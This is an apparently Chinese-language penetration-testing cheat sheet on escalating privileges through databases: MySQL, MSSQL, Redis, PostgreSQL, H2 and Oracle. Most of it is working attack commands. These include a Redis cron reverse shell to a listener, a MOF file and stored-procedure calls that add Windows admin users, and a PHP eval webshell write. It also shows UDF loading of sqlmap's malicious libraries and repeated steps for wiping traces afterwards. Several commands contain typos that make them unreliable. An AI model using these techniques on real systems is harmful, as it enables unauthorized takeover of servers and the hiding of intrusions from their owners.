mysql提权
目录
MYSQL udf提权
原理
udf为User Defined Function用户定义函数,顾名思义,mysql允许用户自定义函数功能。主要方法是向MySQL的插件路径导入用户编写的dll文件,并调用dll文件中用户定义的函数,但是前提需要知晓MySQL管理员账号密码及插件路径有写入权限
条件
1.通过SQL注入获取MySQL密码hash值并破解 2\如果有webshell,可通过查找网站配置文件等获取账号密码 3\如插件路径无写入路径,也可通过webshell进行上传
步骤
1.由于5.1上下版本的MySQL的plugins路径不同,因此先获取MySQL版本号 select version();
通过查询全局配置方式查看plugin路径 show variables like "%plugin%";
2.接下来查看文件权限目录配置
show variables like "%secure%"; secure_file_priv为NULL,表示MySQL无法导入导出文件 secure_file_priv为具体路径,表示该路径下允许导入导出文件 secure_file_priv没有值时,表示MySQL不限制文件导入导出 该值在MySQL的my.ini中配置
3.然后就是上传dll文件,dll可以在sqlmap的Sqlmap\data\udf\mysql目录取,windows为dll,linux为so文件,sqlmap自带的dll是加密后的,需用自带的Sqlmap\extra\cloak.py来解密
python cloak.py -d -i lib_mysqludf_sys.dll_
4.把相应的dll传入plugin目录后,可以执行sql语句进行创建自定义函数
create function sys_eval returns string soname "lib_mysqludf_sys.dll"; Sqlmap中的dll提供了以下函数: sys_eval:执行任意命令,并将输出返回 sys_exec:执行任意命令,并将退出码返回 sys_get:获取一个环境变量 sys_set:创建或修改一个环境变量
5.执行我们定义的函数 select sys_eval('whoami');
6.最后就是清理痕迹,删除我们引入的函数,删除func表,删除dll文件及目录
drop function sys_eval; drop table func;
MOF提权
原理
mof是Windows系统c:/windows/system32/wbem/mof/目录下的一种托管对象格式文件,在win2008以下,它的作用是每隔5秒就会去监控进程创建和死亡。现在只要把我们精心构造的mof文件写入到上述目录,即可执行任意命令,因此该提权方式不限于MySQL提权
条件
MySQL利用mof提权需要写文件权限及secure-file-priv值为空
show variables like "%secure%";
步骤
1.将以下代码保存到mof扩展文件并写c:/windows/system32/wbem/mof/目录即可
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; 注意第17行代码,即为执行的任意命令。除此之外也可以使用msf的 exploit/windows/mysql/mysql_mof模块直接反弹shell
mssql提权
mssql xp_cmdshell提权
原理
xp_cmdshell为扩展存储过程,它将命令字符串作为操作系统命令shell执行,并以文本方式所有输出,使用xp_cmdshell提权需要数据库dba权限
步骤
1.首先可以使用查询sysobjects表来查看xp cmdshell组件是否存在,返回1即为存在
select count(*) from master.dbo.sysobjects where xtype = 'x' andname = 'xp_cmdshell';
2.使用以下代码激活xp_cmdshell组件
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
3.使用xp_cmdshell执行命令
exec xp_cmdshell 'whoami';
4.最后是清理痕迹,把两项配置值还原为0
EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE; EXEC sp_configure 'show advanced options',0;RECONFIGURE;
MSSQL Ole提权
步骤
1.首先要开启存储过程 (该方式执行无回显,执行成功会返回0)
exec sp_configure 'show advanced options' ,1;RECONFIGURE; exec sp_configure 'Ole Automation Procedures' ,1;RECONFIGURE;
2\然后就是调用sp_oacreate和sp_oamethod进行执行命令
declard @cmd INT
exec sp_oacreate 'wscript.shell', @cmd output;
exec sp_oamethod @cmd , 'run' ,null, 'net user abc Qwe@123456 /add' ,'0','true';
3.最后就是恢复环境,清理痕迹:
exec sp_configure 'Ole Automation Procedures' ,0;RECONFIGURE;
exec sp_configure 'show advanced options' ,0;RECONFIGURE;
MSSQL 沙盒提权
原理
沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的
步骤
1.首先前提要求是MSSQL需要有写注册表权限即xp_regwrite,写入注册表键值关闭沙盒
exec master .. xp_regwrite 'HKBY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines' , 'SandBoxMode' , 'REG_DWORD',0;
2.接下来要开启高级选项中的Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ad Hoc Distributed Queries',1; reconfigure;
3.执行命令语句
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.md b','select shell("whoami")');
4.清理痕迹
exec sp_configure 'Ad Hoc Distributed Queries',0; reconfigure; exec sp_configure 'show advanced options',0; reconfigure;
各版本利用介绍:
-
Until SQL Server 2012需添加允许单进程权限:
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0',N'AllowInProcess',1;EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0' , N'AllowInProcess' , 1
-
SQL Server 2014 or later添加随即参数权限:
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0' , N'DynamicParameters' , 1;EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0' , N'DynamicParameters' , 1
-
win2003系统:c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库
文件 ias.mdb和dnary.mdb,,所以直接调用即可
-
Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加
载文件方能执行命令
-
SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式
执行系统命令
MSSQL 代理执行计划任务提权
原理
MSSQL代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务
在 MSSQL中称为作业,前提条件需要SQLSERVERAGENT服务不在禁用状态
(Express版本的MSSQL无法启用SQLSERVERAGENT)
步骤
1.首先需要使用MSSQL启动SQLSERVERAGENT服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
2.接下来使用msdb数据库创建计划任务job,执行whoami并把结果保存到c盘下job.txt中
use msdb exec sp_delete_job null,"job" exec sp_add_job 'job' exec sp_add_jobstep null,'job',null,'1','cmdexec','cmd /c "whoami>c:/job.txt" exec sp_add_jobserver null,'job',@@servername exec sp_start_job 'job';
3.擦除痕迹,关闭服务
exec master.dbo.xp_servicecontrol 'stop','SQLSERVERAGENT';
REDIS提权
REDIS 计划任务反弹shell
原理
redis提权利用主要在于它具有写文件的权限,计划任务即是把键值内容写入到计划任务的文件,从而执行命令
步骤
1.首先在windows上使用ncat监听4444端口,当然也可以在kali上用nc监听
ncat -lvp 4444
2.连接到redis执行设置键x的值为反弹shell命令,设置导出目录为计划任务目录,设置导出文件名称为root,保存即可
/var/spool/cron/crontabs# redis-cli -h 192.168.122.151 set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.122.1/4444 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save
3.ncat监听部分等候几秒钟就会收到反弹的shell
REDIS 写ssh公钥getshell
原理
原理也是基于文件的写入,先在数据库插入ssh公钥,然后写入到/root/.ssh/authorized_keys文件中,即可无密码登录ssh
步骤
1.这里使用xshell来实现,首先点击工具->用户密钥管理者->生成
2.一直默认点击下一步,直到用户密钥信息处,填写任意密码后点击下一步
3.接下来可以将生成的公钥复制或者保存到文件
4.然后就是把公钥写入到服务器
set x "\n\n ssh-rsa 公钥=\n\n"
5.最后就是直接用xshell进行连接,新建会话,在连接标签完善连接名、协议、主机、端口号等信息
6.点击左侧用户身份验证,在方法处选择Public key,用户名填写root,用户密钥下拉菜单会有之前创建好的公钥,并输入创建公钥时输入的密码
REDIS 主从同步RCE
原理
redis开启主从同步功能后,主库会使用ping check方式来测试redis从库是否在线,如果在线则将数据文件发送到从库
在redis 4.x之后,redis新增了模块功能,通过外部拓展,可以实现在redis中执行除自带命令以外的新命令,也就是在从库服务器上加载恶意so文件,就可以执行拓展命令了(适用版本4.x<=5.0.5)
步骤
该脚本可指定主库也就是目标redis以及从库地址,也可以自定义端口及恶意so文件,而且提供了两个方式,一种是交互式shell,另一种是反弹shell
脚本 --redis rogue server
postgresql 数据库提权
常用于各种软件的数据库 常见的如msf
postgresql 写文件getshell
步骤
1.使用docker搭建postgresql,首先拉取镜:docker pull postgresql
2.然后运行镜像,
docker run -it --name postgres --restart always -e POSTGRES_PASSWORD= '123456' -e ALLOW_IP_RANGE=0.0.0.0/0 -p 5432:5432 -d postgres
3.使用navicat连接至postgresql服务,首先创建表,向表里写入一句话木马,然后复制到硬盘对应路径
create table pwn (t TEXT); insert into pwn(t) values ('<?php @eval($_POST['cmd']);?>'); copy pwn (t) to '/tmp/1.php' 或者 copy (select '<?php ohoinfo();?>') to '/tmp/1.php'
4.进入docker查看已经写入tmp目录
docker exec -it 13 /bin/bash
相关漏洞
postgresql CVE-2019-9193执行命令
由于9.3增加一个”COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;
postgresql udf提权
原理
postgresql的udf提权类似于mysql,同样写入一个恶意dll或so文件,引入命令执行 函数
步骤
1.首先就是把恶意so文件写入到目标服务器,可以把so文件分段写入表中,然后再写
入到硬盘,如何把文件分段呢,可以用强大的certutil
恶意文件在sqlmap/data/udf/postgresql自取,需要使用
python3 cloak.py -i lib_postgresqludf_sys.so_ -o pudf.so
2.使用certutil把pudf.so进行base64编码
certutil -encode pudf.so pudf-bs4.txt
3.接下来是把base64编码文件分段写入到表中,解码,写入到硬盘
CREATE TABLE testFile(data text); SELECT lo_create(8675); DELETE FROM pg_largeobject WHERE loid=8675; INSERT INTO testFile(data) VALUES ('编码文件'); UPDATE testFile SET data=data || '编码文件'; INSERT INTO pg_argeobject VALUES (8675,0,DECODE((SELECT data FROM testFile),'base64')); DELETE FROM testFile; SELECT lo_export(8675,'/tmp/pudf.so'); SELECT lo_unlink(8675);
4.恶意文件已写入硬盘,接下来可以引入so文件提供的函数(函数类型参考mysql udf)
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/pudf.so','sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUTIMMUTABLE
5.调用函数执行命令
select sys_eval('whoami');
H2提权
H2是一个Java编写的关系型数据库,它可以被嵌入Java应用程序中使用,或者作为一个单独的数据库服务器运行,因此该数据库出现注入就可以注入java代码
H2 命令执行
步骤
1.首先使用sqlmap识别到h2数据库
2.接下来可以通过数据库注入java代码创建一个命令执行函数
3.调用创建的cc83函数执行解析dnslog地址
4.dnslog成功接收到请求
Oracle提权
oracle 调用java执行命令
原理
oracle数据库是甲骨文公司的一款关系型数据库,它在渗透中主要利用方式是用一个oracle的存储过程去调用java类,再由java执行系统命令
该过程用到的主要语句
create or replace and compile java source named "OsUtil" as +<java代码> //加载java代码并编译
该过程需要获取权限
begin dbms_java.grant_permission(SYSTEM, SYS:java.io.FilePermission, <>,execute);end; begin dbms_java.grant_permission(SYSTEM, SYS:java.lang.RuntimePermission,'writeFileDescriptor' , '');end; begin dbms_java.grant_permission(SYSTEM, SYS:java.lang.RuntimePermission
步骤
1.首先可以在sqlplus进行试验,编写以下代码到oracle服务器/tmp/test.sql
2.使用@/tmp/test来执行sql文件
3.同样可以调用OSEXEC执行命令